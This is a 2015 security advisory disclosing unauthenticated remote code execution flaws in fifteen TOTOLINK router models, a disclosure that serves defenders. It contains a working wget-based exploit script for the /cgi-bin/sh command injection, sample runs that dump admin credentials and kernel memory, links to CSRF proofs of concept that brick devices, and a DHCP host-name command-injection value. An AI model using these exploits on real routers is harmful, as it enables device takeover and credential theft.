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15 TOTOLINK router models vulnerable to multiple RCEs



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## Advisory Information

Title: 15 TOTOLINK router models vulnerable to multiple RCEs
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html
Date published: 2015-07-16
Vendors contacted: None
Release mode: 0days, Released
CVE: no current CVE



## Product Description

TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO
markets in South Korea.
TOTOLINK produces routers routers, wifi access points and network
devices. Their products are sold worldwide.



## Vulnerabilities Summary

The first vulnerability allows to bypass the admin authentication and
to get a direct RCE from the LAN side with a single HTTP request.

The second vulnerability allows to bypass the admin authentication and
to get a direct RCE from the LAN side with a single DHCP request.

There are direct RCEs against the routers which give a complete root
access to the embedded Linux from the LAN side.

The two RCEs affect 13 TOTOLINK products from 2009-era firmwares to
the latest firmwares with the default configuration:

- TOTOLINK A1004 : until last firmware (9.34 - za1004_en_9_34.bin)
- TOTOLINK A5004NS : until last firmware (9.38 - za5004s_en_9_38.bin)
- TOTOLINK EX300 : until last firmware (8.68 - TOTOLINK EX300_8_68.bin
- totolink.net)
- TOTOLINK EX300 : until last firmware (9.36 -
ex300_ch_9_36.bin.5357c0 - totolink.cn)
- TOTOLINK N150RB : until last firmware (9.08 - zn150rb_en_9_08.bin.5357c0)
- TOTOLINK N300RB : until last firmware (9.26 - zn300rb_en_9_26.bin)
- TOTOLINK N300RG : until last firmware (8.70 - TOTOLINK N300RG_8_70.bin)
- TOTOLINK N500RDG : until last firmware (8.42 - TOTOLINK N500RDG_en_8_42.bin)
- TOTOLINK N600RD : until last firmware (8.64 - TOTOLINK N600RD_en_8_64.bin)
- TOTOLINK N302R Plus V1 : until the last firmware 8.82 (TOTOLINK
N302R Plus V1_en_8_82.bin)
- TOTOLINK N302R Plus V2 : until the last firmware 9.08 (TOTOLINK
N302R Plus V2_en_9_08.bin)
- TOTOLINK A3004NS (no firmware available in totolinkusa.com but
ipTIME's A3004NS model was vulnerable to the 2 RCEs)
- TOTOLINK EX150 : until the last firmware (8.82 - ex150_ch_8_82.bin.5357c0)


The DHCP RCE also affects 2 TOTOLINK products from 2009-era firmwares
to the latest firmwares with the default configuration:

- TOTOLINK A2004NS : until last firmware (9.60 - za2004s_en_9_60.bin)
- TOTOLINK EX750 : until last firmware (9.60 - ex750_en_9_60.bin)


Firmwares come from totolink.net and from totolink.cn.

- - From my tests, it is possible to use these vulnerabilities to
overwrite the firmware with a custom (backdoored) firmware.

Concerning the high CVSS score (10/10) of the vulnerabilities and the
longevity of this vulnerability (6+ year old),
the TOTOLINK users are urged to contact TOTOLINK.



## Details - RCE with a single HTTP request

The HTTP server allows the attacker to execute some CGI files.

Many of them are vulnerable to a command inclusion which allows to
execute commands with the http daemon user rights (root).


Exploit code:

$ cat totolink.carnage
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type:
text/plain';echo;echo;PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh


The exploits have been written in HTML/JavaScript, in form of CSRF
attacks, allowing people to test their systems in live using their
browsers:
http://pierrekim.github.io/advisories/


o Listing of the filesystem

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-listing.of.the.filesystem.html

Using CLI:

root@kali:~/totolink# ./totolink.carnage 192.168.1.1 ls | head
ash
auth
busybox
cat
chmod
cp
d.cgi
date
echo
false
root@kali:~/totolink#


o How to retrieve the credentials ? (see login and password at the end
of the text file)

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-dump.configuration.including.credentials.html

Using CLI:

kali# ./totolink.carnage 192.168.1.1 cat /tmp/etc/iconfig.cfg
wantype.wan1=dynamic
dhblock.eth1=0
ppp_mtu=1454
fakedns=0
upnp=1
ppp_mtu=1454
timeserver=time.windows.com,gmt22,1,480,0
wan_ifname=eth1
auto_dns=1
dhcp_auto_detect=0
wireless_ifmode+wlan0=wlan0,0
dhcpd=0
lan_ip=192.168.1.1
lan_netmask=255.255.255.0
dhcpd_conf=br0,192.168.1.2,192.168.1.253,192.168.1.1,255.255.255.0
dhcpd_dns=164.124.101.2,168.126.63.2
dhcpd_opt=7200,30,200,
dhcpd_configfile=/etc/udhcpd.conf
dhcpd_lease_file=/etc/udhcpd.leases
dhcpd_static_lease_file=/etc/udhcpd.static
use_local_gateway=1
login=admin
password=admin

Login and password are stored in plaintext, which is a very bad
security practice.


o Current running process:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-current.process.html

Using CLI:

kali# ./totolink.carnage 192.168.1.1 ps -auxww


o Getting the kernel memory:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-getting.kernel.memory.html

Using CLI:

kali# ./totolink.carnage 192.168.1.1 cat /proc/kcore


o Default firewall rules:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-default.firewall.rules.html

Using CLI:

kali# ./iptime.carnage.l2.v9.52 192.168.1.1 iptables -nL


o Opening the management interface on the WAN:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-opening.the.firewall.html


o Reboot the device:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-reboot.html


o Brick the device:

HTML/JS exploits:

http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-bricking.the.device.html


An attacker can use the /usr/bin/wget binary located in the file
system of the remote device to plant a backdoor and then execute it as
root.

By the way, d.cgi in /bin/ is an intentional backdoor.



## Details - RCE with a single DHCP request

This vulnerability is the exact inverse of CVE-2011-0997. The DHCPD
server in TOTOLINK devices allows remote attackers to execute
arbitrary commands
via shell metacharacters in the host-name field.

Sending a DHCP request with this parameter will reboot the device:

cat /etc/dhcp/dhclient.conf

send host-name ";/sbin/reboot";

When connecting to the UART port (`screen /dev/ttyUSB0 38400`), we
will see the stdout of the /dev/console device;
the dhcp request will immediately force the reboot of the remote device:


Booting...

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

[...]
WiFi Simple Config v1.12 (2009.07.31-11:35+0000).

Launch iwcontrol: wlan0
Reaped 317
iwcontrol RUN OK
SIGNAL -> Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -> WAN ip changed
WAN0 IP: 192.168.2.1
signalling START
Invalid upnpd exit
killall: upnpd: no process killed
upnpd Restart 1
iptables: Bad rule (does a matching rule exist in that chain?)
Session Garbage Collecting:Maybe system time is updated.( 946684825 0 )
Update Session timestamp and try it after 5 seconds again.
ez_ipupdate callback --> time_elapsed: 0
Run DDNS by IP change:  / 192.168.2.1
Reaped 352
iptables: Bad rule (does a matching rule exist in that chain?)
Jan  1 00:00:25 miniupnpd[370]: Reloading rules from lease file
Jan  1 00:00:25 miniupnpd[370]: could not open lease file: /var/run/upnp_pmlist
Jan  1 00:00:25 miniupnpd[370]: HTTP listening on port 2048
Reaped 363
Led Silent Callback
Turn ON All LED
Dynamic Channel Search for wlan0 is OFF
start_signal => plantynet_sync
Do start_signal => plantynet_sync
SIGNAL -> Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -> WAN ip changed
Reaped 354
iptables: Bad rule (does a matching rule exist in that chain?)
ez_ipupdate callback --> time_elapsed: 1
Run DDNS by IP change:  / 192.168.2.1
Burst DDNS Registration is denied: iptime -> now:26
Led Silent Callback
Turn ON All LED
/proc/sys/net/ipv4/tcp_syn_retries: cannot create
- - - ---> Plantynet Event : 00000003
- - - ---> PLANTYNET_SYNC_INTERNET_BLOCK_DEVICE


[sending the DHCP request]


[01/Jan/2000:00:01:03 +0000] [01/Jan/2000:00:01:03 +0000] Jan  1
00:01:03 miniupnpd[370]: received signal 15, good-bye
Reaped 392
Reaped 318
Reaped 314
Reaped 290
Reaped 288
Reaped 268
Reaped 370
Reaped 367
- - - ---> PLANTYNET_SYNC_FREE_DEVICE
Restarting system.

Booting...

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Reboot Result from Watchdog Timeout!

- - - ---RealTek(RTL8196E)at 2012.07.06-04:36+0900 v0.4 [16bit](400MHz)
Delay 1 second till reset button
Magic Number: raw_nv 00000000
Check Firmware(05020000) : size: 0x001ddfc8 ---->


[...]


An attacker can use the /usr/bin/wget binary located in the file
system of the remote device to plant a backdoor and then execute it as
root.



## Vendor Response

Due to "un-ethical code" found in TOTOLINK products (= backdoors found
in new TOTOLINK devices), TOTOLINK was not contacted in regard of this
case, but ipTIME was contacted in April 2015 concerning the first RCE.



## Report Timeline

* Jun 01, 2014: First RCE found by Pierre Kim and Alexandre Torres in
ipTIME products.
* Jun 02, 2014: Second RCE found by Pierre Kim in ipTIME products.
* Jun 25, 2015: Similar vulnerabilities found in TOTOLINK products.
* Jul 13, 2015: TOTOLINK silently fixed the HTTP RCE in A2004NS and
EX750 routers.
* Jul 13, 2015: Updated firmwares confirmed vulnerable.
* Jul 16, 2015: A public advisory is sent to security mailing lists.



## Credit

These vulnerabilities were found by Alexandre Torres and Pierre Kim
(@PierreKimSec).



## References

https://pierrekim.github.io/advisories/2015-totolink-0x00.txt
https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/


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-- 
Pierre Kim
pierre.kim.sec@xxxxxxxxx
@PierreKimSec
https://pierrekim.github.io/